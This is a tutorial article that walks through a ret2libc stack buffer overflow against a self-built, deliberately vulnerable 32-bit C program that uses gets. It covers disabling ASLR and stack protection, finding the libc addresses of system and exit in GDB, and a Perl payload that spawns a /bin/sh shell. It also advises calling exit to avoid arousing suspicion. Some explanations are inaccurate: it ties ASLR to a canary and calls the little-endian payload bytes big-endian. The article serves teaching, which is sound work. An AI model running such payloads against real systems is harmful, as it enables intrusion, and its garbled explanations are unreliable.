In this typical instance, we will be looking at how an attacker would circumvent DEP (Data execution prevention) by redirecting the return address of a C function to a function contained in libC (C standard library) in a 32bit binary.
Introduction
As any exploit, as time goes by, new methods of prevention and detection are introduced. In this article, we will be looking at a more advanced version of a buffer overflow attack. In this typical instance, we will be looking at how an attacker would circumvent DEP (Data Execution Prevention) by redirecting the return address of a C function to a function contained in libC (C standard library) in a 32bit binary. If we want to, we can additionally push a chain of libC based functions to the stack in order to execute them one after the other which is ROP (Return Oriented Programming).
A reason for not using a 64bit binary in this article is that Ret2libc
in its purest form was during the 32bit binary era. As building up the attack is based on you creating a fake stack frame after the $EBP
register value for a specific funtion. This includes pushing the function arguments into the fake stack frame using an overflow. A Ret2libc
attack on 64 bit binaries relies on pushing function arguments onto registers using gadgets and has similarities to ROP or so Return Oriented Programming.
How can we spawn a shell without using direct shellcode? or list a directory? A Ret2libC
attack allows us to call the C function system
and a function called exit
in order to spawn a shell and thereafter allow the program to exit cleanly without arousing any suspicion.
Requirements
It is highly reccomended that you have experience with buffer overflows or have read my previous article specifically on Buffer overflows as this article is an extension of it. In this article, we will be using the following tools:
- Ubuntu 8 (An installation guide is available in my Formatted String exploit article which I do reccomend you follow as we must install extra components from the CD image file. You may find the ISO image here).
- GCC
- GDB
- A basic knowledge of C
- Knowledge of Endianness (Big Endian/Little Endian) concepts.
Getting Started
In this article, we will be exploiting the non length checked function gets
. Although gets
is not recommended for usage in modern programs, programmer or rookie error may slip through the cracks. The gets
function allows us to take a user input from the standard input (STDIN) and store it into a character buffer without being length checked which is a definite recipe for disaster concerning buffer overflows.
Let us get started with a simple program:
bug.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void buggy_function()
{
char* arg;
char buffer[128];
gets(buffer);
}
int main(int argc, char* argv[])
{
buggy_function();
return 0;
}
This program allows us to call a function buggy_function
containing the vulnerable gets
function. We will use the PERL programming language in order to create a string
which we will direct as user input to our vulnerable program using some simple BASH command notations.
Our goal in this exploit will be to overflow the return address for the buggy_function
stack frame and substitute it with the address of the system
function. We will also pass the address of the exit
function and the argument to execute a new shell instance "/bin/sh"
for the system
function, all of which are contained within libC
.
Before we get started, let's turn off memory randomization or ASLR which would interfere with our exploit. ASLR helps programs protect themselves against such attacks by constantly moving memory around using a "canary variable". This helps in also checking whether memory has been tampered with or so providing integrity checks. you may switch ASLR off on your system by modifying the following file's value from 2
to 0
:
/proc/sys/kernel/randomize_va_space
NOTE: Do remember to set the value of the randomize_va_space file back to 2 once you are done with your exploit.
What is libC?
libC
as it is known refers to the standard library for C which contains all functions, type definitions and macros related to the C programming language. In this case, it defines the types char
, int
. libC
is a major component for C's functioning and libraries are included into your program using the following notation:
#include <library.h>
In this case, the exit
and system
functions are included in the stdlib
library which contains basic standard functionality for our C program. This means that when the program is run, we can use functions which are included in the library even if we haven't used them directly in our program, as they will be loaded as well into memory. In fact, you will find that a lot of functions in libC
are available to us even though we haven't included/used them in our program. We can especially see this if we debug our program in GDB by using the print
command with the name of the function while setting a breakpoint in our program:
print system
This availability is due to the fact that these libraries and functions are built in which allows multiple programs to point to a specific pointer in memory in order to call a function that is frequently used with low overhead. libC
is very complex and very extensive. It defines memory allocation, file managment and so forth.
How a Ret2libC Attack Works in Memory
Let's go ahead and understand how a Ret2libC
attack would work in memory. As we know, functions are organized into stack frames (Read my article on Buffer Overflows to know more). A frame is composed of a function prologue which helps set up the frame for use. A body and a return statement. The top of the frame is denoted by the Stack pointer ($ESP
) and the bottom by the Base pointer ($EBP
). A return address is stored after the base pointer in order to signify where the program should return to after executing the function as shown in the example below.
In order to execute a Ret2libC
attack, we will create a fake stack frame right after buggy_functions
's $EBP
pointer in order for it to look something like this:
Example Exploitable Function fnc(char* arg1, char* arg2, n...)
|-------------------------------| ← Start of frame for buggy_function(). Referenced to by $ESP
| //function prologue |
|-------------------------------|
| buffer[128] = 'A' x 128 | ← Our buffer which contains random 'A's
|-------------------------------|
| 'AAAA' | ← $EBP replaced by 4 random bytes
|-------------------------------|
| system() | ← Replaced the return address with the system call
|-------------------------------|
| exit() | ← Allows us to exit cleanely after system()
|-------------------------------|
| address of "/bin/sh" | ← Argument for system()
|-------------------------------|
In order to run our exploit successfully, we will have to overrun our buffer and the $EBP
pointer with 4 random bytes. We will then go ahead and override the return address with the address of system
and subsequently exit
and finally the address of "/bin/sh"
which for this exploit will be contained in an environment variable. If you would like to add another function instead of system, you may do so. Do remember that unlike ROP which allows you to do multiple operations, here we are limited to only calling two functions, any other addresses placed after will not be executed and likely end up with an error.
Exploitation: Preparing Ourselves
In order to execute our Ret2libC
attack, we will be using GDB. As beginners, this will help us to navigate the complex world of C binaries, of course, as we get better at these exploits, our use of GDB will deminish. GDB is known as the GNU debuger and will help us view memory during execution, create breakpoints and understand our vulnerable binary further. There are various other programs one may use such as NM or hexdump. For this article, we will stick with GDB.
In order to include extra symbols which GDB can pick up on within our binary, we will go ahead and compile our binary using the -g
flag which will include debug symbols into our binary.
gcc -g bug.c -o bug.out -fno-stack-protector
The -o
flag allows us to define the name for our resultant binary. We will be using the -fno-stack-protector
flag in order to compile our binary. This will disable any stack protection for our program or so any protection that helps in detecting stack smashing (buffer overflows).
Let's now go ahead and open our vulnerable program with GDB:
gdb -q ./bug.out
The -q
flag suppresses any welcome messages that may be displayed by GDB. Let's go ahead and prepare ourselves by finding our the real address of system
and exit
. We will need to find them while running our program through GDB. We can set a breakpoint during execution in order to do so on the function main
which will allow us to observe other values in memory including the locations of the system
and exit
functions. We can set a break point by using the following command:
break main
Let's go ahead and run our program using the following command:
run
We have now encountered our breakpoint which we set in main
:
Now we have access to our programs memory at runtime. Let's go ahead and figure out where the functions system
is and where exit
are:
Perfect! Now that we have the addresses of system
and exit
, we can go ahead and use them in our exploit. Yet so, we still need to set an argument for system
.
In this case, we will be creating an environment variable named EGG
which will contain "/bin/sh"
, this will be the argument of which address we will push onto our fake stack frame as an argument for our call to the system
function. We can exit GDB using the key 'Q
'. Now we enter the following command in order to export our environment variable:
export EGG='/bin/sh'
Perfect! We must have now successfully exported our environment variable. You may verify it by finding it in the list of environment variables using:
env
As we can see above, the EGG
environment variable has been successfully created. In GDB, we could go through memory in order to find any environment variable which is as not hard as they are usually located at a very similar area of memory, but in this instance, let's go ahead instead and create a program that will get the location of our environment variables directly and infact return the very environment variable we would like. We will be using the C function getenv
which allows us to get an environment variable by name. We will directly print it out using the "%8p" format parameter for printf
which means that printf
should print the result of getenv
or so our variable EGG
as a pointer (or so the address of EGG
in Hex):
get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[])
{
printf("%8p\n", getenv(argv[1]));
return 0;
}
We can go ahead and compile our program using gcc and without any flags such as the -g
flag nor the -fno-stack-protector
flags as we will not be needing them for this simple program:
gcc get_env.c -o get_env.out
We can now go and use this program in order to find our target environment variable:
As we can see, the address of EGG
is 0xbffff860
.
Let's go ahead and run our program (bug.out) with GDB and create a breakpoint in the main
function. We will now inspect whether the EGG
environment variable is infact at 0xbffff860
:
As we can see, EGG
is infact not at 0xbffff860
. This is because there is another environment variable that is pushed before EGG
on the stack. This variable contains the full path and the full name of our executable which means that the location of EGG
is dependent on the length of this variable due to the varying size of our executable depending on our path and name preference:
At this point, EGG
has moved up by 27bytes. We need to subtract that from the address we got with the getenv
function. EGG
is so located at 0xbffff845
.
Let's go ahead now and try our exploit by inserting the corrected address of EGG
into our payload. This should get us a new shell.
Running Our Exploit
In order to run our buffer overflow exploit, we must go ahead and overwrite our return address with the address of system
so that instead of pointing to its prevoius location inside of main
, it will go ahead and call the system function. We can then push the 4 bytes representing the address of exit
and further the address of EGG
.
Let's figure out the location of buffer
and the location of our base pointer $EBP
in order to figure out the total length required in order to override the return address.
In GDB, let's go ahead and set a break point in buggy_function
right before the gets
function is called. In order to know where, we can use the list
command:
list buggy_function
Let's go ahead and create a breakpoint on line 9. GDB will break execution before code on line 9 is executed. This will allow the buffer
array to be created so we can figure out its location:
Here, we can see that buffer starts at 0xbffff484
. We must now go and figure out where our base pointer is in order to get a correct length for our payload. We can figure out the location of our base pointer $EBP
by using the following command:
info registers $ebp
We additionally can run the following GDB examine command in order to see the following 4bytes after $EBP
which represent the return address for buggy_function
:
x/2x $ebp
In fact, as we can see, $EBP
is stored at 0xbffff508
and the memory location after contains the return address pointing to 0x080483f3
. 0x080483f3
is the point of execution in main
after calling buggy_function
. We can see the return point in the main
function by disassembling it and looking for the address 0x080483f3
:
disass main
As you can see, 0x080483f3
refers to the next execution point after calling buggy_function
in main
.
Let's go and find out the exact size required of our payload by substracting the larger address or so that of our base pointer $EBP
with that of the smaller address at hand or so that of buffer
:
As we can see, we need our payload to be 132bytes in order to reach $EBP
, we will need 4 more bytes in order to ovverride $EBP
and 12 more in order to insert the addresses of system
, exit
and EGG
. In total, our payload length should be 148bytes. Perfect, let's go ahead and use perl to print our payload into our program as STDIN
containing 132 garbage bytes + the 4 that are meant to overwrite $EBP
and there after, our exploit critical byte information, remember that you will have to write the addresses in Big Endian:
r <<< $(perl -e 'print "A" x 132 . "B" x 4 .
"\x90\xfa\xea\xb7" . "\xe0\x4c\xea\xb7" . "\x45\xf8\xff\xbf")
The program should now exit normally and give you a /bin/sh shell. If you forget the exit
function, the program will not exit gracefully and give you an error but will still spawn a shell. In order to avoid suspicion of our exploited system, it is best to include the exit
function.
Another way to have fun is to list the current directory In fact, you can run any executable of your choice. In this case, let's go and change EGG
outside of GDB to contain the ls
executable in the linux /bin/ folder:
export EGG="/bin/ls"
We can now re-enter GDB and run the same payload as before. The addresses of system
, exit
and EGG
should remain intact:
History
- 27th May, 2021: Initial version